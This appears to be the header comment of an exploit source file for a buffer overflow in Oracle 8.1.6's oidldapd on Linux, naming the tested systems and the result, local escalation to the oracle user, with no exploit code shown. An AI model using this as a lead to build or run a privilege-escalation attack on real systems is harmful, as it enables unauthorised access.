/*
Exploit Code for oidldapd in Oracle 8.1.6 (8ir2) for Linux.
I tested in RH 6.2 and 6.1. This code is a bullshit (i know
please no comments about ;-)).
If someone exports this to Sparc please tell me.
synopsis: buffer overflow in oidldapd
impact: any user gain euid=oracle.
Dedicated to PlazaSite guys. Klink Klink Team. Panxeta, Entrophy and others.
